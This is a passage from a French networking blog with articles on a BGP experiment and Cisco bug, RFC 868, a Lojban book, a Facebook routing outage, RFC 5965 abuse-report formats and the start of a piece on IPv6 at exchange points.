  • Peu de commentateurs ont relevé que le problème venait encore d'une bogue de Cisco. Bien sûr, d'autres marques de routeurs ont connu des bogues liées au traitement de BGP. Mais Cisco a quand même le record. Seulement, si on peut taper facilement sur le RIPE-NCC, s'attaquer à une grosse entreprise états-unienne ayant beaucoup d'avocats est plus difficile. Donc, peu de commentateurs ont osé dire qu'il fallait peut-être songer à faire des choix techniques différents et, au minimum, à diversifier les logiciels des routeurs. Ceci dit, si on veut défendre Cisco, le meilleur argument serait que les clients de ce vendeur réclament tout le temps des nouvelles fonctions, des nouveaux services et que l'accroissement du taille du logiciel qui en résulte ne va pas dans le sens de la fiabilité. Il faut savoir si on veut, de la stabilité ou bien le dernier truc à la mode...
  • Et enfin, un autre point doit être rappelé, lorsque je lis certaines indignations « Comment est-ce possible ? » ou « Que fait le gouvernement ? ». L'Internet n'est pas et ne doit pas être une infrastructure vitale. Bien sûr qu'il est important (par exemple, c'est lui qui justifie mon salaire) mais il n'y a pas de vies humaines en jeu. Si on voulait que des vies puissent être suspendues au bon fonctionnement de l'Internet (une très mauvaise idée), il faudrait en effet changer radicalement son architecture et en faire un réseau bien plus fermé, bien plus lent et bien moins innovant.

Et la deuxième question, celle de la légitimité à faire des tests sur le vrai Internet ? Plusieurs commentateurs (comme Pierre Col ou Earl Zmijewski - dans un article qui était autrement très intéressant) ont mis en cause le RIPE-NCC pour avoir fait des essais avec le vrai Internet. Des noms d'oiseaux ont circulé avec des arguments du genre « on n'est plus à l'époque du réseau universitaire pour jouer, il faut maintenant être très prudent avec le réseau ».

Cet argument semble de bon sens mais il revient en fait à taper sur le messager parce qu'on n'aime pas le message. La panne est gênante et c'est justement pour cela qu'il faut féliciter le RIPE-NCC pour avoir testé et permis qu'on la découvre avant les méchants, qui l'auraient utilisé de manière bien plus agressive ! Pour la sécurité et la stabilité de l'Internet, il faut continuer à tester. Si on engueule le messager parce que le message nous déplait, plus personne n'osera faire de tests et on ne découvrira les problèmes que le jour d'une vraie attaque !

Au moins, aurait-il été possible de tester plus prudemment, comme semble le promettre le premier communiqué public du RIPE-NCC ? Par exemple, ne pouvait-on pas tester dans le laboratoire avant d'essayer sur le vrai Internet ? La lecture de l'article du RIPE-NCC montre bien que l'expérience avait été soigneusement étudiée (comme le montre le fait d'interposer un routeur BGP standard pour être sûr de n'émettre que du BGP légal, je n'y aurai pas pensé). Aurait-il fallu tester avec divers modèles de routeurs pour s'assurer qu'on ne les cassait pas ? Peut-être mais il n'y a de toute façon aucun chance pour qu'un laboratoire ait à sa disposition toutes les combinaisons de routeur et de logiciel (d'autant plus que la bogue « attribut 99 » n'affectait que le routeur suivant le routeur bogué). Il n'aurait donc pas été possible de tout tester. À un moment ou à l'autre, il faut passer aux essais en vrai grandeur. Comme l'avait noté un participant sur la liste Nanog, « I'm planning on announcing x.y.z.0/20 later in the week -- x, y and z are all prime and the sum of all 3 is also a prime. There is a non-zero chance that something somewhere will go flooie, shall I send mail now or later? ».

À défaut de pouvoir tout tester à l'avance, le RIPE-NCC aurait-il pu mieux communiquer ? Toute mesure active (ce qui était le cas de l'« expérience attribut 99 ») peut potentiellement pertuber le système qu'elle mesure. Le RIPE-NCC n'a, semble t-il, pas prévenu à l'avance, sa première annonce était envoyée sur une liste fermée (elle a ensuite été relayée sur une liste publique). Donc, oui, sur ce point et seulement sur celui-là, le RIPE-NCC aurait pu faire mieux. Ne nous faisons cependant pas trop d'illusions : les messages d'avertissement (« Nous allons annoncer pendant soixante minutes un attribut BGP non enregistré, depuis deux POP et pour le préfixe 203.0.113.0/24 ») sont en général complètement ignorés par les équipes opérationnelles déjà débordées...

Ah au fait, cette expérience, à quoi elle était destinée ? À la sécurité ! Il s'agissait de voir si certaines propositions techniques de sécurisation de BGP (pour empêcher des embrouilles à la Pakistan Telecom) étaient réalistes, car elles reposaient sur des attributs BGP nouveaux. Si on ne teste pas la possibilité de déployer ces extensions à BGP dans le vrai Internet, on peut arrêter tout de suite tout le travail sur le BGP sécurisé.

Un article résumant la panne et ses conséquences sur BGP, telles que vues par Cyclops, est Cisco bug crashed Internet. Si vous aimez les graphiques, une jolie représentation de la baisse de trafic liées à la panne : http://inl.info.ucl.ac.be/system/files/16all.png. Pour une analyse des conséquences de l'« expérience 99 » sur le DNS, voir le communiqué de l'AFNIC.


L'article seul

RFC 868: Time Protocol

Date de publication du RFC : Mai 1983
Auteur(s) du RFC : J. Postel (University of Southern California (USC)/Information Sciences Institute), K. Harrenstien (SRI International)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 3 septembre 2010
Dernière mise à jour le 4 septembre 2010


Bon exemple d'une ère révolue, où les RFC pouvaient faire deux pages (copyright et autre boilerplate compris), et spécifier un protocole qui s'implémentait en quinze minutes. Celui-ci décrit le protocole Time, qui permettait de récupérer l'heure d'une machine distante.

Le but était de pouvoir synchroniser plus ou moins les horloges, en interrogeant celle d'une machine distante. Certes, la précision d'une telle mesure est faible (car on ne connait pas le temps de retour de l'information, celle-ci est donc déjà dépassée lorsqu'elle arrive) mais cela convenait, à cette époque où NTP était loin dans le futur (NTP est aujourd'hui normalisé dans le RFC 5905).

Difficile de faire plus simple que ce protocole Time. Comme beaucoup de protocole de cette époque (finger, whois, ...), il a un numéro de port réservé, 37. Il suffit de se connecter à la machine distante, sur ce port (en TCP ou en UDP) et on récupère un entier de 32 bits (le RFC ne prend pas la peine de préciser s'il est gros-boutien ou petit-boutien... ; ni d'ailleurs si l'entier est signé ou non) qui indique le nombre de secondes écoulées depuis le 1er janvier 1900 à zéro heure (UTC, même si le RFC utilise encore le vieux terme anglo-saxon-centriste de GMT ; à l'époque, les étrangers restaient à leur place et ne réclamaient pas un temps « universel »). Au fait, pourquoi 1900, époque où les ordinateurs n'existaient pas, plutôt que 1970 qui aurait été plus logique ? Mystère. Les commentaires dans le source d'OpenBSD sont amusants :

/*
 * Return a machine readable date and time, in the form of the
 * number of seconds since midnight, Jan 1, 1900.  Since gettimeofday
 * returns the number of seconds since midnight, Jan 1, 1970,
 * we must add 2208988800 seconds to this figure to make up for
 * some seventy years Bell Labs was asleep.
 */
u_int32_t
machtime(void)
{
        struct timeval tv;

        if (gettimeofday(&tv, NULL) < 0)
                return (0L);

        return (htonl((u_int32_t)tv.tv_sec + 2208988800UL));
}

Si vous êtes fort en calcul, vous avez déjà vu que 32 bits permettront d'aller jusqu'en 2036 (cette valeur de la date limite indique d'ailleurs que les auteurs du RFC pensaient à des entiers non signés, malgré le curieux exemple d'une valeur négative que donne le RFC à un moment). Après, il faudra se résigner à abandonner complètement ce protocole.

En attendant, il existe des mises en œuvre de ce RFC pour tous les Unix, typiquement en passant par inetd. Le service est en général coupé par défaut, car il n'a plus guère d'utilité pratique aujourd'hui. Sur une Debian, on trouve dans /etc/inetd.conf :

#time           stream  tcp     nowait  root    internal
#time           dgram   udp     wait    root    internal

et on peut activer le service en décommentant la ligne time et en rechargeant inetd.

Côté client, le protocole est binaire (son frère, DayTime, normalisé dans le RFC 867, est, lui, en mode texte lisible par un humain) donc telnet n'est pas très utile. Voici un petit programme client en Go qui se connecte à un serveur Time et indique l'heure qu'il y a sur cette machine distante :

% ./time-rfc-868 foo.bar.example
Time at foo.bar.example:37 is 3492608823 (which is Sat Sep  4 17:07:03 UTC 2010)

Le source est en time-rfc-868.go. Merci à Kim-Minh Kaplan pour son débogage. On peut mettre des bogues dans un programme aussi court.

Pour revenir aux entiers signés ou non, le RFC donne un exemple de valeur négative, qui n'est pas compatible avec les autres données du document. Cela a fait l'objet d'un rapport de bogue.


Téléchargez le RFC 868


L'article seul

Fiche de lecture : What is Lojban?

Auteur(s) du livre : Nick Nicholas, John Cowan
Éditeur : Logical Language Group
0-9550283-1-7
Publié en 2003
Première rédaction de cet article le 1 septembre 2010


Il existe d'innombrables langues construites, des langues qui ne sont pas issues d'une évolution « naturelle » mais qui ont été soigneusement élaborées par des humains. La plus connue est évidemment l'espéranto mais le lojban, présenté dans ce livre, a un cahier des charges assez différent. Son but principal n'est pas la paix dans le monde via la compréhension mutuelle, c'est la logique : faire une langue permettant de s'exprimer sans ambiguité, et qui soit complètement analysable par un analyseur syntaxique normal.

Le livre « What is lojban? » (ou, en lojban, « la lojban. mo ») est un recueil de différents textes en anglais produits par l'organisation qui supervise la langue, le Logical Language Group. Pour ceux qui ne veulent ou ne peuvent acheter l'édition papier, il est aussi disponible en ligne. (Il y a aussi une version en français, malheureusement uniquement dans un format fermé, en lojban.doc.) Parmi les éditeurs de ce recueil, j'ai noté la présence de John Cowan, qui a été un des piliers du groupe de travail LTRU de l'IETF et j'ai pu apprécier, dans ce groupe, ses vastes connaissances, son excellent style et sa patience.

Que contient le livre ? La FAQ du site officiel, des exemples de courts textes en lojban, un guide de prononciation pour les locuteurs de diverses langues (mais pas le français) et surtout le texte « Overview of Lojban Grammar » qui décrit la structure de la langue. Ce n'est pas un tutoriel, pas question d'apprendre le lojban ainsi, mais c'est une description technique de la grammaire de la langue. À noter que, les composants d'un texte en lojban n'ayant pas forcément d'équivalent dans d'autres langues (des notions comme la distinction entre nom et verbe n'existent pas), ces composants sont désignés par leur nom en lojban. Il est donc prudent, en lisant le texte, d'avoir une fiche rappelant ce qu'est un brivla (le terme utilisé pour désigner un prédicat puisque le lojban est fondé sur la logique des prédicats), un sumti (l'argument d'un prédicat) ou un cmavo (catégorie qui regroupe les prépositions et ce pour quoi, dans d'autres langues, on utiliserait la ponctuation). Je ne vais pas résumer toute la grammaire lojban ici, juste décrire quelques points intéressants qui peuvent donner envie de voir le lojban de plus près.

Je commence par une phrase triviale en lojban, « mi klama le xunre zdani » (quelque chose comme « je vais à la maison rouge » ; si vous voulez voir un texte plus long, regardez la page d'accueil du site officiel). Comme le lojban est décrit par une grammaire formelle, en LALR(1), on peut écrire relativement facilement un analyseur syntaxique, comme par exemple le programme jbofihe. Cela donne :

% cat ~/tmp/hello.txt
mi klama le xunre zdani

% jbofihe -t ~/tmp/hello.txt  
| +-CMAVO : mi [KOhA3]
| | +-BRIVLA : klama
| | | +-CMAVO : le [LE]
| | | | +-BRIVLA : xenru
| | | | +-BRIVLA : zdani
| | | +-SELBRI_3
| | +-SUMTI_6
| +-BRIDI_TAIL_3
+-NO_CU_SENTENCE
CHUNKS

où le brivla le plus externe, klama joue le rôle du prédicat principal. jbofihe permet aussi de représenter l'arbre syntaxique sous d'autres formes par exemple en (mauvais) HTML avec l'option -H (notez qu'il a inclus une traduction des mots) :

[1(2[klama1 (go-er(s)) :] mi I, me)2 [is, does] <<3klama go-ing>>3 (4[klama2 (destination(s)) :] le the (5xunre red [type-of] zdani home(s))5)4]1

La même chose est possible en LaTeX avec l'option -l. Cette possibilité d'analyser syntaxiquement la langue permet le développement d'outils de traitement linguistique. jbofihe peut aussi vérifier que la syntaxe d'un texte est correcte. On peut même l'utiliser depuis Emacs avec un code d'initialisation comme :

(defun lojban-parse () ""
  (interactive "")      
  (shell-command-on-region (region-beginning) (region-end) "jbofihe"))

(global-set-key "\C-x-" 'lojban-parse)

(Il existe naturellement un mode Emacs pour le lojban.)

Après ce petit détour technique (désolé, problème classique des gens qui apprennent le lojban, comme l'a montré un dessin de xkcd), quelques éléments intéressants sur la langue :

  • Chaque prédicat a un nombre d'arguments fixe et connu. Par exemple, tavla, « parler », a quatre arguments, le locuteur, le destinataire, le sujet et la langue utilisée. Si on utilise les quatre arguments, pas de problème. Si on ne spécifie que les N premiers, pas de problème, les autres sont optionnels. Mais si on ne spécifie, mettons, que le quatrième et qu'on veut dire « je parle en lojban » ? Deux solutions, un terme qui représente l'inconnu, zo'e ou bien des termes qui modifient l'ordre des arguments. Donc, la première solution serait mi tavla zo'e zo'e la lojban et la seconde mi tavla fo la lojbanfo indique que l'argument est normalement le quatrième (attention en comptant, le premier argument, ici mi, se met avant le prédicat).
  • Les questions se font en indiquant simplement mo ou ma à la place du terme qui serait la réponse à la question. Donc, le titre du livre, la lojban mo est une question dont la réponse serait la lojban EST-CECI-OU-CELA.
  • Le lojban permet de s'exprimer sans ambiguité, c'est là un élement essentiel de son cahier des charges. Mais il permet aussi de ne pas avoir à tout spécifier, si c'est inutile. Ainsi, en français, contrairement à l'anglais, on doit toujours préciser le genre de la personne dont on parle (comparez « je déjeune avec un ami » et « I have lunch with a friend »). En turc (exemple emprunté au Dictionnaire amoureux des langues), on doit toujours préciser si on a été témoin direct ou non du fait qu'on rapporte. En lojban, on peut omettre tout ce qu'on ne considère pas comme pertinent. Le genre de la personne, le temps des verbes, même le nombre de choses dont on parle sont optionnels. (Le lojban dispose de termes permettant, si on le juge utile, d'exprimer les nuances du turc sur l'observation directe ou pas d'un fait ; section « Evidentials », p. 104 dans l'édition papier.) Comme l'explique un excellent article du New York Times, les langues ne se différencient pas tant par ce qu'elles permettent ou empêchent de dire, mais par ce qu'elles imposent de préciser (ou pas).

Quelles ressources existent en lojban sur l'Internet ? Elles sont nombreuses, incluant un Wikipédia (peu rempli mais regardez par exemple l'article sur le phoque), un wiktionnaire (également peu rempli) et plein de choses en http://www.lobjan.org/. Il y a naturellement plusieurs listes de diffusion et canal IRC, avec un bot sympa qui me traduit un brivla et me donne ses arguments :

(23:05:39) bortzmeyer: valsi klama
(23:05:40) valsi: klama = x1 comes/goes to destination x2 from origin x3 via route x4 using means/vehicle x5. 

Quel est l'avenir du lojban ? C'est évidemment difficile à dire. Cette langue n'a pas échappé aux sorts de bien des projets marginaux, les scissions (en l'occurrence entre le Logical Language Group, qui gère le lojban, et le Loglan Institute, entre autre parce que le créateur originel de la langue prétendait détenir des droits de propriété intellectuelle.) Voir la FAQ à ce sujet.

Mais, au-delà de ces disputes assez glauques, le lojban reste une formidable aventure scientifique et intellectuelle. C'est un langage de geeks ? Tant pis, cela ne devrait pas arrêter les curieux.


L'article seul

Facebook joue avec BGP

Première rédaction de cet article le 31 août 2010


Comme vous avez pu le voir, Facebook a été en panne pour beaucoup d'utilisateurs (surtout en Europe, il semble). La cause est un problème BGP.

De à peu près 1200 UTC à environ 1345, Facebook a été injoignable depuis beaucoup de réseaux. Les curieux qui ont fait un traceroute auront vu quelque chose du genre :

% traceroute www.facebook.com
traceroute to www.facebook.com (69.63.189.31), 64 hops max, 40 byte packets
 1  217.70.191.251 (217.70.191.251)  0 ms  0 ms  0 ms
 2  vl2.core4-d.gandi.net (217.70.176.132)  0 ms  0 ms  0 ms
 3  po88-jd4.core1-j.gandi.net (217.70.176.225)  1 ms  1 ms  1 ms
 4  po88-jd4.core1-j.gandi.net (217.70.176.225)  1 ms !H * *

montrant que le premier routeur BGP sans route par défaut n'avait pas de route vers le fameux réseau social... En effet, regarder quelques looking glasses (trouvés sur l'excellent http://www.traceroute.org/) confirme : « show ip bgp 69.63.190.14 \ Network not in table » ou des messages similaires. Si on a un routeur qui reçoit toute la table de routage de l'Internet, on peut voir que le réseau de Facebook apparait et disparait (ici un Juniper) :

admin@m7i-1-XXXX> show route 69.63.190.14

admin@m7i-1-XXXX>

...
admin@m7i-1-XXXX> show route 69.63.190.14

inet.0: 325150 destinations, 325150 routes (325081 active, 0 holddown, 69 hidden)
Restart Complete
+ = Active Route, - = Last Active, * = Both

69.63.184.0/21     *[BGP/170] 00:00:43, MED 0, localpref 100
                     AS path: 8220 8220 32934 I
                   > to X.Y.14.225 via fe-0/1/3.0

Résultat de ce yo-yo, les routeurs finissent par refuser automatiquement les annonces Facebook (« suppressed due to dampening »). Même lorsque Facebook a réparé sa configuration BGP, le problème a subsisté un certain temps. Voici un exemple sur le looking glass de PCH :

Looking Glass Results - route-collector.fra.pch.net
Date: Tue Aug 31 12:46:04 2010 UTC

Query:
Argument(s): 69.63.190.18

BGP routing table entry for 69.63.184.0/21
Paths: (2 available, no best path)
  Not advertised to any peer
  32934, (suppressed due to dampening)
    80.81.194.40 from 80.81.194.40 (204.15.20.1)
      Origin IGP, metric 0, localpref 100, valid, external
      Community: 3856:54800
      Dampinfo: penalty 5023, flapped 64 times in 01:09:18, reuse in 00:41:09
      Last update: Tue Aug 31 12:46:01 2010

  32934, (suppressed due to dampening)
    80.81.195.40 from 80.81.195.40 (204.15.23.109)
      Origin IGP, metric 0, localpref 100, valid, external
      Community: 3856:54800
      Dampinfo: penalty 4030, flapped 63 times in 01:09:18, reuse in 00:36:23
      Last update: Tue Aug 31 12:45:35 2010

Comme la configuration DNS de Facebook est très fragile (les serveurs de noms sont tous sur le même réseau), le DNS lui-même a des problèmes et, parfois, on ne peut pas résoudre le nom :

% traceroute www.facebook.com
traceroute: unknown host www.facebook.com

En effet, aucun serveur ne répond :

%  check_soa www.facebook.com 
There was no response from glb01.ash1.tfbnw.net
There was no response from glb01.ams1.tfbnw.net
There was no response from glb01.dfw1.tfbnw.net
...

Question DNS, notons aussi que les serveurs de facebook.com envoient des adresses IP différentes selon le demandeur. Cela explique en partie que Facebook ne soit pas en panne pour tout le monde (en Europe, www.facebook.com semble dans 69.63.184.0/21 et aux États-Unis dans 66.220.152.0/21). On peut avoir une bonne vision de la configuration BGP de Facebook en http://bgp.he.net/AS32934.

Depuis, Facebook a fait une autre jolie panne, le 23 septembre. Elle n'a apparemment aucun lien avec BGP cette fois (ni avec le DNS, quoique aient dit certains ignorants), et a été (modérément) documentée par Facebook. Une autre grande panne, bien due au DNS, celle-ci, a eu lieu le 7 mars 2012 (voyez un amusant test DNS pendant la panne, notez bien qu'il y a deux adresses IP privées dans la liste).


L'article seul

RFC 5965: An Extensible Format for Email Feedback Reports

Date de publication du RFC : Août 2010
Auteur(s) du RFC : Y. Shafranovich (ShafTek Enterprises), J. Levine (Taughannock Networks), M. Kucherawy (Cloudmark)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF marf
Première rédaction de cet article le 31 août 2010
Dernière mise à jour le 1 septembre 2010


Les opérateurs de réseaux et de serveurs, aujourd'hui, passent beaucoup de temps à s'envoyer des rapports indiquant qu'un message reçu est en fait abusif, spam ou hameçonnage. Ces rapports sont désormais bien trop nombreux pour être traités manuellement et il est donc nécessaire de définir un format standard pour les représenter, de façon à permettre un minimum de traitement automatique sur ces rapports. C'est ce que fait notre RFC, le premier du groupe de travail MARF. Ce format s'appuie évidemment sur MIME.

Avant l'adoption du format MARF (qui précède sa normalisation formelle dans ce RFC), plusieurs opérateurs avaient défini des formats privés (section 1). Cela rendait évidemment difficile l'analyse des rapports envoyés, il fallait écrire du code pour chaque opérateur. Désormais, il existe donc un format standard, basé sur le type MIME multipart/report normalisé dans le RFC 6522. Ce format utilise le sous-type (« type du rapport ») feedback-report.

Ce n'est pas la première tentative de normalisation dans ce domaine, les précédentes n'ont pas été des succès.

Ce RFC ne fait que normaliser un format, il ne spécifie pas à qui les rapports doivent être envoyés, comment les authentifier, ou ce qu'il faut en faire, il se focalise sur l'aspect technique. Le cahier des charges figure en section 1.2 :

  • Le format devait être lisible à la fois par un humain et par un programme,
  • Le message signalé devait être inclus dans le rapport,
  • Le format devait permettre l'ajout de métadonnées,
  • Le format devait être extensible.

Ces objectifs ont-il été atteints ? Voyons la définition du nouveau format (une certaine familiarité avec le RFC 5598 est utile).

La section 2 du RFC décrit le format MARF. Un message MARF est donc un message MIME multipart/report, tel que défini dans le RFC 3462. Le type du rapport est feedback-report (donc le message contiendra un en-tête du genre Content-Type: multipart/report; report-type=feedback-report; ...). Chaque rapport ne concerne qu'un seul message, il n'y a pas de mécanisme pour l'agrégation de messages. Il comprend trois parties MIME obligatoires :

  • La première est une description en langue naturelle du rapport,
  • La seconde est un ensemble de métadonnées structurées, de type MIME message/feedback-report,
  • La troisième est le message original, de type message/rfc822 en général (rappelez-vous que MIME est récursif et qu'il est donc parfaitement possible d'avoir un message MIME dans un autre message MIME).

Le sujet du rapport doit être le champ Subject: du message original, éventuellement avec un préfixe comme FW: (pour forwarded), ce qui me semble déroutant car, en examinant sa boîte aux lettres manuellement, on ne distingue pas facilement les spams des rapports sur les spams.

Focalisons-nous un instant sur la seconde partie, les métadonnées. Le format de ce nouveau type MIME message/feedback-report est décrit dans la section 3. Cette partie est composée de plusieurs champs, suivant la syntaxe des en-têtes du courrier (attention, seule leur syntaxe est identique, un champ de même nom qu'un champ du RFC 5322 n'a pas forcément la même sémantique). Comme pour tout le contenu du rapport, le destinataire ne doit pas forcément leur faire une confiance aveugle. Ils représentent des assertions du créateur du rapport et ne sont pas forcément vérifiables.

La liste des champs n'est pas fixée définitivement, de nouveaux champs pourront être enregistrés dans le futur. Aujourd'hui, la liste des champs obligatoires comprend (section 3.1) :

  • Feedback-Type:, défini dans la section 3.5,
  • User-Agent:, indiquant le logiciel qui a produit le rapport,
  • Version:, aujourd'hui toujours 1.

Il y a aussi des champs facultatifs, parmi lesquels (sections 3.2 et 3.3) :

  • Arrival-Date: indiquant l'heure de réception,
  • Authentication-Results: qui indique les résultats des procédures d'authentification, tels que formalisés par le RFC 7001,
  • Incidents:, un nombre indiquant le nombre de fois que ce message a été reçu,
  • Reported-Domain:, qui indique le nom du coupable présumé (par exemple parce que le message vient de lui),
  • Reported-URI:, qui indique un URI pertinent pour le rapport, par exemple l'URL d'un site Web de hameçonnage pour lequel un spam faisait de la publicité,
  • Source-IP:, indiquant l'adresse IP source au moment où le message est entré dans le domaine qui génère le rapport,
  • Et bien d'autres (la liste complète et à jour figure dans le registre). Notez que certains champs facultatifs peuvent apparaitre plusieurs fois (comme Reported-URI:) et d'autres une et une seule fois (comme Arrival-Date:).

Un exemple d'une telle partie :


Feedback-Type: abuse
User-Agent: SomeGenerator/1.0
Version: 1
Arrival-Date: Thu, 8 Mar 2005 14:00:00 EDT
Source-IP: 192.0.2.1
Authentication-Results: mail.example.net;
               spf=fail smtp.mail=somespammer@example.com
Reported-Domain: example.com
Reported-Uri: http://example.com/earn_money_fast.html

La grammaire complète figure en section 3.5.

On le sait, le courrier électronique est une jungle où tout est possible. Les rapports peuvent être mensongers ou, tout simplement, incorrects techniquement. Que faire dans ce cas ? La section 4 est claire : de tels messages devraient être ignorés ou rejetés. Le principe de robustesse (« Acceptez n'importe quoi et essayez de le décoder ») ne s'applique pas aux questions de sécurité.

Je l'ai dit plus haut, une des exigences du cahier des charges était l'extensibilité. La section 6 expose les moyens déployés par MARF pour atteindre ce but. Notamment, deux registres IANA sont créés, pour pouvoir ajouter des nouvelles données : le registre des types de retours (feedback types) et celui des champs dans les métadonnées. Les types et les champs inconnus doivent donc être ignorés par les programmes, afin de pouvoir ajouter des nouveaux sans casse.

Les registres en question sont décrits de manière plus formelle dans la section 7. Celle-ci décrit l'enregistrement du nouveau type MIME message/feedback-report, le nouveau registre des métadonnées (dans lequel on peut enregistrer par la procédure « spécification obligatoire » du RFC 5226) et le nouveau registre des types de retour (même procédure pour l'enregistrement). Aujourd'hui, ce registre contient des types comme abuse (courrier non sollicité), fraud (courrier de tentative d'escroquerie), virus (courrier contenant un virus), etc.

Comme tout ce RFC porte sur un problème de sécurité, il est normal que la section dédiée à ce sujet, la 8, se demande si le nouveau format est lui-même sûr. Elle met notamment en garde contre les interprétations abusives (section 8.2) : cette norme décrit juste un format, elle ne garantit pas que les rapports, même syntaxiquement corrects, soient authentiques. Le mécanisme par lequel on décide de faire confiance (ou pas) à un rapport n'est pas spécifié par ce RFC. Il est donc déconseillé de déclencher automatiquement des actions (comme l'inscription sur une liste noire) sur la seule base d'un rapport, sans précautions supplémentaires.

Par exemple, le RFC recommande que les rapports soient un minimum authentifiés, par le biais de techniques comme SPF, DKIM ou S/MIME (ce dernier est conseillé mais, curieusement, PGP n'est pas cité).

Autre problème de sécurité lié à ces rapports, le risque d'attenter à la vie privée. La section 8.5 rappelle que la règle devrait être d'envoyer des rapports complets mais, si la protection de la vie privée le nécessite, qu'on peut supprimer certaines parties du rapport pour ne pas révéler d'informations privées. (Même si on devine que cette idée de vie privée défrise considérablement les auteurs du RFC.)

Peut-on générer automatiquement des rapports MARF (section 8.6), par exemple parce qu'un pot de miel a reçu un spam ? Le RFC met en garde : un attaquant qui sait qu'un tel générateur existe pourrait l'utiliser pour faire fabriquer des rapports contre ses ennemis, en envoyant de faux spams.

Encore un piège amusant : les rapports seront souvent générés pour des messages qui contiennent du logiciel malveillant. Ledit logiciel va se trouver dans la partie du rapport qui reprend le message original. Les processeurs de messages MARF doivent donc faire attention à ne pas, par exemple, exécuter accidentellement le méchant logiciel (section 8.7) !

Un exemple plus complet est cité dans l'annexe B2 du RFC (le message original a le sujet Earn money et prétend venir de somespammer@example.net) :


From: <abusedesk@example.com>
Date: Thu, 8 Mar 2005 17:40:36 EDT
Subject: FW: Earn money
To: <abuse@example.net>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=feedback-report;
  boundary="part1_13d.2e68ed54_boundary"

--part1_13d.2e68ed54_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

This is an email abuse report for an email message received from IP
192.0.2.1 on Thu, 8 Mar 2005 14:00:00 EDT.  For more information
about this format please see http://www.mipassoc.org/arf/.

--part1_13d.2e68ed54_boundary
Content-Type: message/feedback-report

Feedback-Type: abuse
User-Agent: SomeGenerator/1.0
Version: 1
Original-Mail-From: <somespammer@example.net>
Original-Rcpt-To: <user@example.com>
Arrival-Date: Thu, 8 Mar 2005 14:00:00 EDT
Reporting-MTA: dns; mail.example.com
Source-IP: 192.0.2.1
Authentication-Results: mail.example.com;
            spf=fail smtp.mail=somespammer@example.com
Reported-Domain: example.net
Reported-Uri: http://example.net/earn_money.html
Reported-Uri: mailto:user@example.com
Removal-Recipient: user@example.com

--part1_13d.2e68ed54_boundary
Content-Type: message/rfc822
Content-Disposition: inline

From: <somespammer@example.net>
Received: from mailserver.example.net (mailserver.example.net
  [192.0.2.1]) by example.com with ESMTP id M63d4137594e46;
  Thu, 08 Mar 2005 14:00:00 -0400
To: <Undisclosed Recipients>
Subject: Earn money
MIME-Version: 1.0
Content-type: text/plain
Message-ID: 8787KJKJ3K4J3K4J3K4J3.mail@example.net
Date: Thu, 02 Sep 2004 12:31:03 -0500

Spam Spam Spam
Spam Spam Spam
Spam Spam Spam
Spam Spam Spam
--part1_13d.2e68ed54_boundary--

Qui utilise ou utilisera ce format ? Je n'ai pas trouvé sur le site officiel de liste des implémentations (pour générer et analyser du MARF). Il faut se contenter des liens en http://wordtothewise.com/resources/arfdeveloper.html. Voir par exemple :

Mais, apparemment, plusieurs opérateurs utilisent déjà ce format. Idéalement, on devrait pouvoir l'utiliser pour soumettre des rapports à abuse@opérateur.net et à des organismes comme Signal-Spam (ce dernier semble tout à fait mort). Mais cela ne semble pas possible actuellement. En tout cas, au bureau, seule une minorité des rapports de spam que je reçois sont pour l'instant à ce format (je ne peux pas les reproduire ici, pour des raisons de protection des données personnelles ; dans beaucoup de cas, le rapport est erroné et je ne veux pas que des innocents se trouvent mentionnés). Un autre document, plus récent, le RFC 6650, décrit en détail dans quels cas utiliser ARF et comment.


Téléchargez le RFC 5965


L'article seul

RFC 5963: IPv6 Deployment in Internet Exchange Points (IXPs)

Date de publication du RFC : Août 2010
Auteur(s) du RFC : R. Gagliano (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 31 août 2010


Le fonctionnement de l'Internet aujourd'hui repose largement sur des points d'échange où les différents opérateurs se connectent pour échanger du trafic IP. Le point d'échange typique fournit un réseau Ethernet où chacun connecte son routeur, et alloue des adresses IP pour configurer ces dits routeurs, qui vont ensuite établir des liens BGP entre eux. La principale conclusion de ce nouveau RFC est que la très grande majorité des points d'échange fournissant un service de couche 2, le fait d'utiliser IPv6 au lieu d'IPv4 ne change pas grand'chose à la gestion du point d'échange.

La section 1 résume l'état actuel du monde des points d'échange. Presque toujours, le service rendu est une connexion de niveau 2, quasiment uniquement en Ethernet. Le principal service de niveau 3 rendu par les gérants du point d'échange est l'attribution d'adresses IP aux routeurs des opérateurs. Curieusement, ce service n'est pas mentionné dès la section 1, qui cite à la place des fonctions moins vitales comme le serveur de routes ou bien les statistiques (globales ou bien par protocole).

La section 2 du RFC passe ensuite aux questions liées à l'interface entre la couche de liaison et la couche réseau. IPv6 sur Ethernet doit se faire selon le RFC 2464. Le commutateur Ethernet lui-même, travaillant en couche 2, n'a rien de spécial à faire. On peut se poser la question de séparer les trafics v4 et v6. Cela peut se mettre en œuvre avec deux ports physiques sur le commutateur ou bien avec deux VLAN séparés. Mais cette séparation n'est pas indispensable. (Le faire avec des ports séparés consomme des ressources matérielles sur le routeur et le faire avec des VLAN impose aux routeurs de gérer 802.1Q.) Elle complique la configuration mais peut simplifier certaines fonctions comme les statistiques.

La section 3, plutôt descriptive que normative, décrit le mécanisme d'adressage à un point d'échange. Chaque RIR a sa politique pour l'allocation d'adresses IPv6 aux points d'échange. Ce sont typiquement des préfixes de longueur /48 qui sont alloués. Ces adresses ont besoin d'être résolvables en nom par le DNS et de pouvoir être trouvées dans la base des RIR via whois. Donc, un point d'échange n'utilise pas les ULA du RFC 4193. (Voyez par exemple les adresses IP allouées sur FranceIX.)

Par raport à un réseau local IPv6 typique, il faut aussi noter que l'autoconfiguration des adresses pa l'envoi de RA (Router Advertisement) n'est typiquement pas utilisée. La configuration des routeurs est faite manuellement puisque, de toute façon, la configuration de BGP dépend de l'adresse. Puisqu'on n'utilise pas l'autoconfiguration, que mettre dans les 64 bits les plus à droite ? En IPv4, les routeurs à un point d'échange sont en général numérotés séquentiellement mais l'espace d'adressage bien plus grand d'IPv6 permet des plans d'adressage plus informatifs. Il existe plusieurs mécanismes acceptables :

